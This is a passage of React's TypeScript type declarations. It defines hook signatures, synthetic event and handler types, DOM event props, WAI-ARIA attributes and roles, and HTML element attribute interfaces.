valuable for custom hooks that are part of shared libraries. * * @version 16.8.0 * @see {@link https://react.dev/reference/react/useDebugValue} */ // the name of the custom hook is itself derived from the function name at runtime: // it's just the function name without the "use" prefix. function useDebugValue<T>(value: T, format?: (value: T) => any): void; // must be synchronous export type TransitionFunction = () => VoidOrUndefinedOnly; // strange definition to allow vscode to show documentation on the invocation export interface TransitionStartFunction { /** * State updates caused inside the callback are allowed to be deferred. * * **If some state update causes a component to suspend, that state update should be wrapped in a transition.** * * @param callback A _synchronous_ function which causes state updates that can be deferred. */ (callback: TransitionFunction): void; } /** * Returns a deferred version of the value that may “lag behind” it. * * This is commonly used to keep the interface responsive when you have something that renders immediately * based on user input and something that needs to wait for a data fetch. * * A good example of this is a text input. * * @param value The value that is going to be deferred * * @see {@link https://react.dev/reference/react/useDeferredValue} */ export function useDeferredValue<T>(value: T): T; /** * Allows components to avoid undesirable loading states by waiting for content to load * before transitioning to the next screen. It also allows components to defer slower, * data fetching updates until subsequent renders so that more crucial updates can be * rendered immediately. * * The `useTransition` hook returns two values in an array. * * The first is a boolean, React’s way of informing us whether we’re waiting for the transition to finish. * The second is a function that takes a callback. We can use it to tell React which state we want to defer. * * **If some state update causes a component to suspend, that state update should be wrapped in a transition.** * * @see {@link https://react.dev/reference/react/useTransition} */ export function useTransition(): [boolean, TransitionStartFunction]; /** * Similar to `useTransition` but allows uses where hooks are not available. * * @param callback A _synchronous_ function which causes state updates that can be deferred. */ export function startTransition(scope: TransitionFunction): void; /** * Wrap any code rendering and triggering updates to your components into `act()` calls. * * Ensures that the behavior in your tests matches what happens in the browser * more closely by executing pending `useEffect`s before returning. This also * reduces the amount of re-renders done. * * @param callback A synchronous, void callback that will execute as a single, complete React commit. * * @see https://reactjs.org/blog/2019/02/06/react-v16.8.0.html#testing-hooks */ // While act does always return Thenable, if a void function is passed, we pretend the return value is also void to not trigger dangling Promise lint rules. export function act(callback: () => VoidOrUndefinedOnly): void; export function act<T>(callback: () => T | Promise<T>): Promise<T>; export function useId(): string; /** * @param effect Imperative function that can return a cleanup function * @param deps If present, effect will only activate if the values in the list change. * * @see {@link https://github.com/facebook/react/pull/21913} */ export function useInsertionEffect(effect: EffectCallback, deps?: DependencyList): void; /** * @param subscribe * @param getSnapshot * * @see {@link https://github.com/reactwg/react-18/discussions/86} */ // keep in sync with `useSyncExternalStore` from `use-sync-external-store` export function useSyncExternalStore<Snapshot>( subscribe: (onStoreChange: () => void) => () => void, getSnapshot: () => Snapshot, getServerSnapshot?: () => Snapshot, ): Snapshot; // // Event System // ---------------------------------------------------------------------- // TODO: change any to unknown when moving to TS v3 interface BaseSyntheticEvent<E = object, C = any, T = any> { nativeEvent: E; currentTarget: C; target: T; bubbles: boolean; cancelable: boolean; defaultPrevented: boolean; eventPhase: number; isTrusted: boolean; preventDefault(): void; isDefaultPrevented(): boolean; stopPropagation(): void; isPropagationStopped(): boolean; persist(): void; timeStamp: number; type: string; } /** * currentTarget - a reference to the element on which the event listener is registered. * * target - a reference to the element from which the event was originally dispatched. * This might be a child element to the element on which the event listener is registered. * If you thought this should be `EventTarget & T`, see https://github.com/DefinitelyTyped/DefinitelyTyped/issues/11508#issuecomment-256045682 */ interface SyntheticEvent<T = Element, E = Event> extends BaseSyntheticEvent<E, EventTarget & T, EventTarget> {} interface ClipboardEvent<T = Element> extends SyntheticEvent<T, NativeClipboardEvent> { clipboardData: DataTransfer; } interface CompositionEvent<T = Element> extends SyntheticEvent<T, NativeCompositionEvent> { data: string; } interface DragEvent<T = Element> extends MouseEvent<T, NativeDragEvent> { dataTransfer: DataTransfer; } interface PointerEvent<T = Element> extends MouseEvent<T, NativePointerEvent> { pointerId: number; pressure: number; tangentialPressure: number; tiltX: number; tiltY: number; twist: number; width: number; height: number; pointerType: "mouse" | "pen" | "touch"; isPrimary: boolean; } interface FocusEvent<Target = Element, RelatedTarget = Element> extends SyntheticEvent<Target, NativeFocusEvent> { relatedTarget: (EventTarget & RelatedTarget) | null; target: EventTarget & Target; } interface FormEvent<T = Element> extends SyntheticEvent<T> { } interface InvalidEvent<T = Element> extends SyntheticEvent<T> { target: EventTarget & T; } interface ChangeEvent<T = Element> extends SyntheticEvent<T> { target: EventTarget & T; } export type ModifierKey = | "Alt" | "AltGraph" | "CapsLock" | "Control" | "Fn" | "FnLock" | "Hyper" | "Meta" | "NumLock" | "ScrollLock" | "Shift" | "Super" | "Symbol" | "SymbolLock"; interface KeyboardEvent<T = Element> extends UIEvent<T, NativeKeyboardEvent> { altKey: boolean; /** @deprecated */ charCode: number; ctrlKey: boolean; code: string; /** * See [DOM Level 3 Events spec](https://www.w3.org/TR/uievents-key/#keys-modifier). for a list of valid (case-sensitive) arguments to this method. */ getModifierState(key: ModifierKey): boolean; /** * See the [DOM Level 3 Events spec](https://www.w3.org/TR/uievents-key/#named-key-attribute-values). for possible values */ key: string; /** @deprecated */ keyCode: number; locale: string; location: number; metaKey: boolean; repeat: boolean; shiftKey: boolean; /** @deprecated */ which: number; } interface MouseEvent<T = Element, E = NativeMouseEvent> extends UIEvent<T, E> { altKey: boolean; button: number; buttons: number; clientX: number; clientY: number; ctrlKey: boolean; /** * See [DOM Level 3 Events spec](https://www.w3.org/TR/uievents-key/#keys-modifier). for a list of valid (case-sensitive) arguments to this method. */ getModifierState(key: ModifierKey): boolean; metaKey: boolean; movementX: number; movementY: number; pageX: number; pageY: number; relatedTarget: EventTarget | null; screenX: number; screenY: number; shiftKey: boolean; } interface TouchEvent<T = Element> extends UIEvent<T, NativeTouchEvent> { altKey: boolean; changedTouches: TouchList; ctrlKey: boolean; /** * See [DOM Level 3 Events spec](https://www.w3.org/TR/uievents-key/#keys-modifier). for a list of valid (case-sensitive) arguments to this method. */ getModifierState(key: ModifierKey): boolean; metaKey: boolean; shiftKey: boolean; targetTouches: TouchList; touches: TouchList; } interface UIEvent<T = Element, E = NativeUIEvent> extends SyntheticEvent<T, E> { detail: number; view: AbstractView; } interface WheelEvent<T = Element> extends MouseEvent<T, NativeWheelEvent> { deltaMode: number; deltaX: number; deltaY: number; deltaZ: number; } interface AnimationEvent<T = Element> extends SyntheticEvent<T, NativeAnimationEvent> { animationName: string; elapsedTime: number; pseudoElement: string; } interface TransitionEvent<T = Element> extends SyntheticEvent<T, NativeTransitionEvent> { elapsedTime: number; propertyName: string; pseudoElement: string; } // // Event Handler Types // ---------------------------------------------------------------------- type EventHandler<E extends SyntheticEvent<any>> = { bivarianceHack(event: E): void }["bivarianceHack"]; type ReactEventHandler<T = Element> = EventHandler<SyntheticEvent<T>>; type ClipboardEventHandler<T = Element> = EventHandler<ClipboardEvent<T>>; type CompositionEventHandler<T = Element> = EventHandler<CompositionEvent<T>>; type DragEventHandler<T = Element> = EventHandler<DragEvent<T>>; type FocusEventHandler<T = Element> = EventHandler<FocusEvent<T>>; type FormEventHandler<T = Element> = EventHandler<FormEvent<T>>; type ChangeEventHandler<T = Element> = EventHandler<ChangeEvent<T>>; type KeyboardEventHandler<T = Element> = EventHandler<KeyboardEvent<T>>; type MouseEventHandler<T = Element> = EventHandler<MouseEvent<T>>; type TouchEventHandler<T = Element> = EventHandler<TouchEvent<T>>; type PointerEventHandler<T = Element> = EventHandler<PointerEvent<T>>; type UIEventHandler<T = Element> = EventHandler<UIEvent<T>>; type WheelEventHandler<T = Element> = EventHandler<WheelEvent<T>>; type AnimationEventHandler<T = Element> = EventHandler<AnimationEvent<T>>; type TransitionEventHandler<T = Element> = EventHandler<TransitionEvent<T>>; // // Props / DOM Attributes // ---------------------------------------------------------------------- interface HTMLProps<T> extends AllHTMLAttributes<T>, ClassAttributes<T> { } type DetailedHTMLProps<E extends HTMLAttributes<T>, T> = ClassAttributes<T> & E; interface SVGProps<T> extends SVGAttributes<T>, ClassAttributes<T> { } interface SVGLineElementAttributes<T> extends SVGProps<T> {} interface SVGTextElementAttributes<T> extends SVGProps<T> {} interface DOMAttributes<T> { children?: ReactNode | undefined; dangerouslySetInnerHTML?: { // Should be InnerHTML['innerHTML']. // But unfortunately we're mixing renderer-specific type declarations. __html: string | TrustedHTML; } | undefined; // Clipboard Events onCopy?: ClipboardEventHandler<T> | undefined; onCopyCapture?: ClipboardEventHandler<T> | undefined; onCut?: ClipboardEventHandler<T> | undefined; onCutCapture?: ClipboardEventHandler<T> | undefined; onPaste?: ClipboardEventHandler<T> | undefined; onPasteCapture?: ClipboardEventHandler<T> | undefined; // Composition Events onCompositionEnd?: CompositionEventHandler<T> | undefined; onCompositionEndCapture?: CompositionEventHandler<T> | undefined; onCompositionStart?: CompositionEventHandler<T> | undefined; onCompositionStartCapture?: CompositionEventHandler<T> | undefined; onCompositionUpdate?: CompositionEventHandler<T> | undefined; onCompositionUpdateCapture?: CompositionEventHandler<T> | undefined; // Focus Events onFocus?: FocusEventHandler<T> | undefined; onFocusCapture?: FocusEventHandler<T> | undefined; onBlur?: FocusEventHandler<T> | undefined; onBlurCapture?: FocusEventHandler<T> | undefined; // Form Events onChange?: FormEventHandler<T> | undefined; onChangeCapture?: FormEventHandler<T> | undefined; onBeforeInput?: FormEventHandler<T> | undefined; onBeforeInputCapture?: FormEventHandler<T> | undefined; onInput?: FormEventHandler<T> | undefined; onInputCapture?: FormEventHandler<T> | undefined; onReset?: FormEventHandler<T> | undefined; onResetCapture?: FormEventHandler<T> | undefined; onSubmit?: FormEventHandler<T> | undefined; onSubmitCapture?: FormEventHandler<T> | undefined; onInvalid?: FormEventHandler<T> | undefined; onInvalidCapture?: FormEventHandler<T> | undefined; // Image Events onLoad?: ReactEventHandler<T> | undefined; onLoadCapture?: ReactEventHandler<T> | undefined; onError?: ReactEventHandler<T> | undefined; // also a Media Event onErrorCapture?: ReactEventHandler<T> | undefined; // also a Media Event // Keyboard Events onKeyDown?: KeyboardEventHandler<T> | undefined; onKeyDownCapture?: KeyboardEventHandler<T> | undefined; /** @deprecated */ onKeyPress?: KeyboardEventHandler<T> | undefined; /** @deprecated */ onKeyPressCapture?: KeyboardEventHandler<T> | undefined; onKeyUp?: KeyboardEventHandler<T> | undefined; onKeyUpCapture?: KeyboardEventHandler<T> | undefined; // Media Events onAbort?: ReactEventHandler<T> | undefined; onAbortCapture?: ReactEventHandler<T> | undefined; onCanPlay?: ReactEventHandler<T> | undefined; onCanPlayCapture?: ReactEventHandler<T> | undefined; onCanPlayThrough?: ReactEventHandler<T> | undefined; onCanPlayThroughCapture?: ReactEventHandler<T> | undefined; onDurationChange?: ReactEventHandler<T> | undefined; onDurationChangeCapture?: ReactEventHandler<T> | undefined; onEmptied?: ReactEventHandler<T> | undefined; onEmptiedCapture?: ReactEventHandler<T> | undefined; onEncrypted?: ReactEventHandler<T> | undefined; onEncryptedCapture?: ReactEventHandler<T> | undefined; onEnded?: ReactEventHandler<T> | undefined; onEndedCapture?: ReactEventHandler<T> | undefined; onLoadedData?: ReactEventHandler<T> | undefined; onLoadedDataCapture?: ReactEventHandler<T> | undefined; onLoadedMetadata?: ReactEventHandler<T> | undefined; onLoadedMetadataCapture?: ReactEventHandler<T> | undefined; onLoadStart?: ReactEventHandler<T> | undefined; onLoadStartCapture?: ReactEventHandler<T> | undefined; onPause?: ReactEventHandler<T> | undefined; onPauseCapture?: ReactEventHandler<T> | undefined; onPlay?: ReactEventHandler<T> | undefined; onPlayCapture?: ReactEventHandler<T> | undefined; onPlaying?: ReactEventHandler<T> | undefined; onPlayingCapture?: ReactEventHandler<T> | undefined; onProgress?: ReactEventHandler<T> | undefined; onProgressCapture?: ReactEventHandler<T> | undefined; onRateChange?: ReactEventHandler<T> | undefined; onRateChangeCapture?: ReactEventHandler<T> | undefined; onResize?: ReactEventHandler<T> | undefined; onResizeCapture?: ReactEventHandler<T> | undefined; onSeeked?: ReactEventHandler<T> | undefined; onSeekedCapture?: ReactEventHandler<T> | undefined; onSeeking?: ReactEventHandler<T> | undefined; onSeekingCapture?: ReactEventHandler<T> | undefined; onStalled?: ReactEventHandler<T> | undefined; onStalledCapture?: ReactEventHandler<T> | undefined; onSuspend?: ReactEventHandler<T> | undefined; onSuspendCapture?: ReactEventHandler<T> | undefined; onTimeUpdate?: ReactEventHandler<T> | undefined; onTimeUpdateCapture?: ReactEventHandler<T> | undefined; onVolumeChange?: ReactEventHandler<T> | undefined; onVolumeChangeCapture?: ReactEventHandler<T> | undefined; onWaiting?: ReactEventHandler<T> | undefined; onWaitingCapture?: ReactEventHandler<T> | undefined; // MouseEvents onAuxClick?: MouseEventHandler<T> | undefined; onAuxClickCapture?: MouseEventHandler<T> | undefined; onClick?: MouseEventHandler<T> | undefined; onClickCapture?: MouseEventHandler<T> | undefined; onContextMenu?: MouseEventHandler<T> | undefined; onContextMenuCapture?: MouseEventHandler<T> | undefined; onDoubleClick?: MouseEventHandler<T> | undefined; onDoubleClickCapture?: MouseEventHandler<T> | undefined; onDrag?: DragEventHandler<T> | undefined; onDragCapture?: DragEventHandler<T> | undefined; onDragEnd?: DragEventHandler<T> | undefined; onDragEndCapture?: DragEventHandler<T> | undefined; onDragEnter?: DragEventHandler<T> | undefined; onDragEnterCapture?: DragEventHandler<T> | undefined; onDragExit?: DragEventHandler<T> | undefined; onDragExitCapture?: DragEventHandler<T> | undefined; onDragLeave?: DragEventHandler<T> | undefined; onDragLeaveCapture?: DragEventHandler<T> | undefined; onDragOver?: DragEventHandler<T> | undefined; onDragOverCapture?: DragEventHandler<T> | undefined; onDragStart?: DragEventHandler<T> | undefined; onDragStartCapture?: DragEventHandler<T> | undefined; onDrop?: DragEventHandler<T> | undefined; onDropCapture?: DragEventHandler<T> | undefined; onMouseDown?: MouseEventHandler<T> | undefined; onMouseDownCapture?: MouseEventHandler<T> | undefined; onMouseEnter?: MouseEventHandler<T> | undefined; onMouseLeave?: MouseEventHandler<T> | undefined; onMouseMove?: MouseEventHandler<T> | undefined; onMouseMoveCapture?: MouseEventHandler<T> | undefined; onMouseOut?: MouseEventHandler<T> | undefined; onMouseOutCapture?: MouseEventHandler<T> | undefined; onMouseOver?: MouseEventHandler<T> | undefined; onMouseOverCapture?: MouseEventHandler<T> | undefined; onMouseUp?: MouseEventHandler<T> | undefined; onMouseUpCapture?: MouseEventHandler<T> | undefined; // Selection Events onSelect?: ReactEventHandler<T> | undefined; onSelectCapture?: ReactEventHandler<T> | undefined; // Touch Events onTouchCancel?: TouchEventHandler<T> | undefined; onTouchCancelCapture?: TouchEventHandler<T> | undefined; onTouchEnd?: TouchEventHandler<T> | undefined; onTouchEndCapture?: TouchEventHandler<T> | undefined; onTouchMove?: TouchEventHandler<T> | undefined; onTouchMoveCapture?: TouchEventHandler<T> | undefined; onTouchStart?: TouchEventHandler<T> | undefined; onTouchStartCapture?: TouchEventHandler<T> | undefined; // Pointer Events onPointerDown?: PointerEventHandler<T> | undefined; onPointerDownCapture?: PointerEventHandler<T> | undefined; onPointerMove?: PointerEventHandler<T> | undefined; onPointerMoveCapture?: PointerEventHandler<T> | undefined; onPointerUp?: PointerEventHandler<T> | undefined; onPointerUpCapture?: PointerEventHandler<T> | undefined; onPointerCancel?: PointerEventHandler<T> | undefined; onPointerCancelCapture?: PointerEventHandler<T> | undefined; onPointerEnter?: PointerEventHandler<T> | undefined; onPointerLeave?: PointerEventHandler<T> | undefined; onPointerOver?: PointerEventHandler<T> | undefined; onPointerOverCapture?: PointerEventHandler<T> | undefined; onPointerOut?: PointerEventHandler<T> | undefined; onPointerOutCapture?: PointerEventHandler<T> | undefined; onGotPointerCapture?: PointerEventHandler<T> | undefined; onGotPointerCaptureCapture?: PointerEventHandler<T> | undefined; onLostPointerCapture?: PointerEventHandler<T> | undefined; onLostPointerCaptureCapture?: PointerEventHandler<T> | undefined; // UI Events onScroll?: UIEventHandler<T> | undefined; onScrollCapture?: UIEventHandler<T> | undefined; // Wheel Events onWheel?: WheelEventHandler<T> | undefined; onWheelCapture?: WheelEventHandler<T> | undefined; // Animation Events onAnimationStart?: AnimationEventHandler<T> | undefined; onAnimationStartCapture?: AnimationEventHandler<T> | undefined; onAnimationEnd?: AnimationEventHandler<T> | undefined; onAnimationEndCapture?: AnimationEventHandler<T> | undefined; onAnimationIteration?: AnimationEventHandler<T> | undefined; onAnimationIterationCapture?: AnimationEventHandler<T> | undefined; // Transition Events onTransitionEnd?: TransitionEventHandler<T> | undefined; onTransitionEndCapture?: TransitionEventHandler<T> | undefined; } export interface CSSProperties extends CSS.Properties<string | number> { /** * The index signature was removed to enable closed typing for style * using CSSType. You're able to use type assertion or module augmentation * to add properties or an index signature of your own. * * For examples and more information, visit: * https://github.com/frenic/csstype#what-should-i-do-when-i-get-type-errors */ } // All the WAI-ARIA 1.1 attributes from https://www.w3.org/TR/wai-aria-1.1/ interface AriaAttributes { /** Identifies the currently active element when DOM focus is on a composite widget, textbox, group, or application. */ "aria-activedescendant"?: string | undefined; /** Indicates whether assistive technologies will present all, or only parts of, the changed region based on the change notifications defined by the aria-relevant attribute. */ "aria-atomic"?: Booleanish | undefined; /** * Indicates whether inputting text could trigger display of one or more predictions of the user's intended value for an input and specifies how predictions would be * presented if they are made. */ "aria-autocomplete"?: "none" | "inline" | "list" | "both" | undefined; /** Indicates an element is being modified and that assistive technologies MAY want to wait until the modifications are complete before exposing them to the user. */ /** * Defines a string value that labels the current element, which is intended to be converted into Braille. * @see aria-label. */ "aria-braillelabel"?: string | undefined; /** * Defines a human-readable, author-localized abbreviated description for the role of an element, which is intended to be converted into Braille. * @see aria-roledescription. */ "aria-brailleroledescription"?: string | undefined; "aria-busy"?: Booleanish | undefined; /** * Indicates the current "checked" state of checkboxes, radio buttons, and other widgets. * @see aria-pressed @see aria-selected. */ "aria-checked"?: boolean | "false" | "mixed" | "true" | undefined; /** * Defines the total number of columns in a table, grid, or treegrid. * @see aria-colindex. */ "aria-colcount"?: number | undefined; /** * Defines an element's column index or position with respect to the total number of columns within a table, grid, or treegrid. * @see aria-colcount @see aria-colspan. */ "aria-colindex"?: number | undefined; /** * Defines a human readable text alternative of aria-colindex. * @see aria-rowindextext. */ "aria-colindextext"?: string | undefined; /** * Defines the number of columns spanned by a cell or gridcell within a table, grid, or treegrid. * @see aria-colindex @see aria-rowspan. */ "aria-colspan"?: number | undefined; /** * Identifies the element (or elements) whose contents or presence are controlled by the current element. * @see aria-owns. */ "aria-controls"?: string | undefined; /** Indicates the element that represents the current item within a container or set of related elements. */ "aria-current"?: boolean | "false" | "true" | "page" | "step" | "location" | "date" | "time" | undefined; /** * Identifies the element (or elements) that describes the object. * @see aria-labelledby */ "aria-describedby"?: string | undefined; /** * Defines a string value that describes or annotates the current element. * @see related aria-describedby. */ "aria-description"?: string | undefined; /** * Identifies the element that provides a detailed, extended description for the object. * @see aria-describedby. */ "aria-details"?: string | undefined; /** * Indicates that the element is perceivable but disabled, so it is not editable or otherwise operable. * @see aria-hidden @see aria-readonly. */ "aria-disabled"?: Booleanish | undefined; /** * Indicates what functions can be performed when a dragged object is released on the drop target. * @deprecated in ARIA 1.1 */ "aria-dropeffect"?: "none" | "copy" | "execute" | "link" | "move" | "popup" | undefined; /** * Identifies the element that provides an error message for the object. * @see aria-invalid @see aria-describedby. */ "aria-errormessage"?: string | undefined; /** Indicates whether the element, or another grouping element it controls, is currently expanded or collapsed. */ "aria-expanded"?: Booleanish | undefined; /** * Identifies the next element (or elements) in an alternate reading order of content which, at the user's discretion, * allows assistive technology to override the general default of reading in document source order. */ "aria-flowto"?: string | undefined; /** * Indicates an element's "grabbed" state in a drag-and-drop operation. * @deprecated in ARIA 1.1 */ "aria-grabbed"?: Booleanish | undefined; /** Indicates the availability and type of interactive popup element, such as menu or dialog, that can be triggered by an element. */ "aria-haspopup"?: boolean | "false" | "true" | "menu" | "listbox" | "tree" | "grid" | "dialog" | undefined; /** * Indicates whether the element is exposed to an accessibility API. * @see aria-disabled. */ "aria-hidden"?: Booleanish | undefined; /** * Indicates the entered value does not conform to the format expected by the application. * @see aria-errormessage. */ "aria-invalid"?: boolean | "false" | "true" | "grammar" | "spelling" | undefined; /** Indicates keyboard shortcuts that an author has implemented to activate or give focus to an element. */ "aria-keyshortcuts"?: string | undefined; /** * Defines a string value that labels the current element. * @see aria-labelledby. */ "aria-label"?: string | undefined; /** * Identifies the element (or elements) that labels the current element. * @see aria-describedby. */ "aria-labelledby"?: string | undefined; /** Defines the hierarchical level of an element within a structure. */ "aria-level"?: number | undefined; /** Indicates that an element will be updated, and describes the types of updates the user agents, assistive technologies, and user can expect from the live region. */ "aria-live"?: "off" | "assertive" | "polite" | undefined; /** Indicates whether an element is modal when displayed. */ "aria-modal"?: Booleanish | undefined; /** Indicates whether a text box accepts multiple lines of input or only a single line. */ "aria-multiline"?: Booleanish | undefined; /** Indicates that the user may select more than one item from the current selectable descendants. */ "aria-multiselectable"?: Booleanish | undefined; /** Indicates whether the element's orientation is horizontal, vertical, or unknown/ambiguous. */ "aria-orientation"?: "horizontal" | "vertical" | undefined; /** * Identifies an element (or elements) in order to define a visual, functional, or contextual parent/child relationship * between DOM elements where the DOM hierarchy cannot be used to represent the relationship. * @see aria-controls. */ "aria-owns"?: string | undefined; /** * Defines a short hint (a word or short phrase) intended to aid the user with data entry when the control has no value. * A hint could be a sample value or a brief description of the expected format. */ "aria-placeholder"?: string | undefined; /** * Defines an element's number or position in the current set of listitems or treeitems. Not required if all elements in the set are present in the DOM. * @see aria-setsize. */ "aria-posinset"?: number | undefined; /** * Indicates the current "pressed" state of toggle buttons. * @see aria-checked @see aria-selected. */ "aria-pressed"?: boolean | "false" | "mixed" | "true" | undefined; /** * Indicates that the element is not editable, but is otherwise operable. * @see aria-disabled. */ "aria-readonly"?: Booleanish | undefined; /** * Indicates what notifications the user agent will trigger when the accessibility tree within a live region is modified. * @see aria-atomic. */ "aria-relevant"?: | "additions" | "additions removals" | "additions text" | "all" | "removals" | "removals additions" | "removals text" | "text" | "text additions" | "text removals" | undefined; /** Indicates that user input is required on the element before a form may be submitted. */ "aria-required"?: Booleanish | undefined; /** Defines a human-readable, author-localized description for the role of an element. */ "aria-roledescription"?: string | undefined; /** * Defines the total number of rows in a table, grid, or treegrid. * @see aria-rowindex. */ "aria-rowcount"?: number | undefined; /** * Defines an element's row index or position with respect to the total number of rows within a table, grid, or treegrid. * @see aria-rowcount @see aria-rowspan. */ "aria-rowindex"?: number | undefined; /** * Defines a human readable text alternative of aria-rowindex. * @see aria-colindextext. */ "aria-rowindextext"?: string | undefined; /** * Defines the number of rows spanned by a cell or gridcell within a table, grid, or treegrid. * @see aria-rowindex @see aria-colspan. */ "aria-rowspan"?: number | undefined; /** * Indicates the current "selected" state of various widgets. * @see aria-checked @see aria-pressed. */ "aria-selected"?: Booleanish | undefined; /** * Defines the number of items in the current set of listitems or treeitems. Not required if all elements in the set are present in the DOM. * @see aria-posinset. */ "aria-setsize"?: number | undefined; /** Indicates if items in a table or grid are sorted in ascending or descending order. */ "aria-sort"?: "none" | "ascending" | "descending" | "other" | undefined; /** Defines the maximum allowed value for a range widget. */ "aria-valuemax"?: number | undefined; /** Defines the minimum allowed value for a range widget. */ "aria-valuemin"?: number | undefined; /** * Defines the current value for a range widget. * @see aria-valuetext. */ "aria-valuenow"?: number | undefined; /** Defines the human readable text alternative of aria-valuenow for a range widget. */ "aria-valuetext"?: string | undefined; } // All the WAI-ARIA 1.1 role attribute values from https://www.w3.org/TR/wai-aria-1.1/#role_definitions type AriaRole = | "alert" | "alertdialog" | "application" | "article" | "banner" | "button" | "cell" | "checkbox" | "columnheader" | "combobox" | "complementary" | "contentinfo" | "definition" | "dialog" | "directory" | "document" | "feed" | "figure" | "form" | "grid" | "gridcell" | "group" | "heading" | "img" | "link" | "list" | "listbox" | "listitem" | "log" | "main" | "marquee" | "math" | "menu" | "menubar" | "menuitem" | "menuitemcheckbox" | "menuitemradio" | "navigation" | "none" | "note" | "option" | "presentation" | "progressbar" | "radio" | "radiogroup" | "region" | "row" | "rowgroup" | "rowheader" | "scrollbar" | "search" | "searchbox" | "separator" | "slider" | "spinbutton" | "status" | "switch" | "tab" | "table" | "tablist" | "tabpanel" | "term" | "textbox" | "timer" | "toolbar" | "tooltip" | "tree" | "treegrid" | "treeitem" | (string & {}); interface HTMLAttributes<T> extends AriaAttributes, DOMAttributes<T> { // React-specific Attributes defaultChecked?: boolean | undefined; defaultValue?: string | number | readonly string[] | undefined; suppressContentEditableWarning?: boolean | undefined; suppressHydrationWarning?: boolean | undefined; // Standard HTML Attributes accessKey?: string | undefined; autoFocus?: boolean | undefined; className?: string | undefined; contentEditable?: Booleanish | "inherit" | "plaintext-only" | undefined; contextMenu?: string | undefined; dir?: string | undefined; draggable?: Booleanish | undefined; hidden?: boolean | undefined; id?: string | undefined; lang?: string | undefined; nonce?: string | undefined; slot?: string | undefined; spellCheck?: Booleanish | undefined; style?: CSSProperties | undefined; tabIndex?: number | undefined; title?: string | undefined; translate?: "yes" | "no" | undefined; // Unknown radioGroup?: string | undefined; // <command>, <menuitem> // WAI-ARIA role?: AriaRole | undefined; // RDFa Attributes about?: string | undefined; content?: string | undefined; datatype?: string | undefined; inlist?: any; prefix?: string | undefined; property?: string | undefined; rel?: string | undefined; resource?: string | undefined; rev?: string | undefined; typeof?: string | undefined; vocab?: string | undefined; // Non-standard Attributes autoCapitalize?: string | undefined; autoCorrect?: string | undefined; autoSave?: string | undefined; color?: string | undefined; itemProp?: string | undefined; itemScope?: boolean | undefined; itemType?: string | undefined; itemID?: string | undefined; itemRef?: string | undefined; results?: number | undefined; security?: string | undefined; unselectable?: "on" | "off" | undefined; // Living Standard /** * Hints at the type of data that might be entered by the user while editing the element or its contents * @see {@link https://html.spec.whatwg.org/multipage/interaction.html#input-modalities:-the-inputmode-attribute} */ inputMode?: "none" | "text" | "tel" | "url" | "email" | "numeric" | "decimal" | "search" | undefined; /** * Specify that a standard HTML element should behave like a defined custom built-in element * @see {@link https://html.spec.whatwg.org/multipage/custom-elements.html#attr-is} */ is?: string | undefined; } /** * For internal usage only. * Different release channels declare additional types of ReactNode this particular release channel accepts. * App or library types should never augment this interface. */ interface DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS {} interface AllHTMLAttributes<T> extends HTMLAttributes<T> { // Standard HTML Attributes accept?: string | undefined; acceptCharset?: string | undefined; action?: | string | undefined | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS ]; allowFullScreen?: boolean | undefined; allowTransparency?: boolean | undefined; alt?: string | undefined; as?: string | undefined; async?: boolean | undefined; autoComplete?: string | undefined; autoPlay?: boolean | undefined; capture?: boolean | "user" | "environment" | undefined; cellPadding?: number | string | undefined; cellSpacing?: number | string | undefined; charSet?: string | undefined; challenge?: string | undefined; checked?: boolean | undefined; cite?: string | undefined; classID?: string | undefined; cols?: number | undefined; colSpan?: number | undefined; controls?: boolean | undefined; coords?: string | undefined; crossOrigin?: CrossOrigin; data?: string | undefined; dateTime?: string | undefined; default?: boolean | undefined; defer?: boolean | undefined; disabled?: boolean | undefined; download?: any; encType?: string | undefined; form?: string | undefined; formAction?: | string | undefined | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_FORM_ACTIONS ]; formEncType?: string | undefined; formMethod?: string | undefined; formNoValidate?: boolean | undefined; formTarget?: string | undefined; frameBorder?: number | string | undefined; headers?: string | undefined; height?: number | string | undefined; high?: number | undefined; href?: string | undefined; hrefLang?: string | undefined; htmlFor?: string | undefined; httpEquiv?: string | undefined; integrity?: string | undefined; keyParams?: string | undefined; keyType?: string | undefined; kind?: string | undefined; label?: string | undefined; list?: string | undefined; loop?: boolean | undefined; low?: number | undefined; manifest?: string | undefined; marginHeight?: number | undefined; marginWidth?: number | undefined; max?: number | string | undefined; maxLength?: number | undefined; media?: string | undefined; mediaGroup?: string | undefined; method?: string | undefined; min?: number | string | undefined; minLength?: number | undefined; multiple?: boolean | undefined; muted?: boolean | undefined; name?: string | undefined; noValidate?: boolean | undefined; open?: boolean | undefined; optimum?: number | undefined; pattern?: string | undefined; placeholder?: string | undefined; playsInline?: boolean | undefined; poster?: string | undefined; preload?: string | undefined; readOnly?: boolean | undefined; required?: boolean | undefined; reversed?: boolean | undefined; rows?: number | undefined; rowSpan?: number | undefined; sandbox?: string | undefined; scope?: string | undefined; scoped?: boolean | undefined; scrolling?: string | undefined; seamless?: boolean | undefined; selected?: boolean | undefined; shape?: string | undefined; size?: number | undefined; sizes?: string | undefined; span?: number | undefined; src?: string | undefined; srcDoc?: string | undefined; srcLang?: string | undefined; srcSet?: string | undefined; start?: number | undefined; step?: number | string | undefined; summary?: string | undefined; target?: string | undefined; type?: string | undefined; useMap?: string | undefined; value?: string | readonly string[] | number | undefined; width?: number | string | undefined; wmode?: string | undefined; wrap?: string | undefined; } type HTMLAttributeReferrerPolicy = | "" | "no-referrer" | "no-referrer-when-downgrade" | "origin" | "origin-when-cross-origin" | "same-origin" | "strict-origin" | "strict-origin-when-cross-origin" | "unsafe-url"; type HTMLAttributeAnchorTarget = | "_self" | "_blank" | "_parent" | "_top" | (string & {}); interface AnchorHTMLAttributes<T> extends HTMLAttributes<T> { download?: any; href?: string | undefined; hrefLang?: string | undefined; media?: string | undefined; ping?: string | undefined; target?: HTMLAttributeAnchorTarget | undefined; type?: string | undefined; referrerPolicy?: HTMLAttributeReferrerPolicy | undefined; } interface AudioHTMLAttributes<T> extends MediaHTMLAttributes<T> {} interface AreaHTMLAttributes<T> extends HTMLAttributes<T> { alt?: string | undefined; coords?: string | undefined; download?: any; href?: string | undefined; 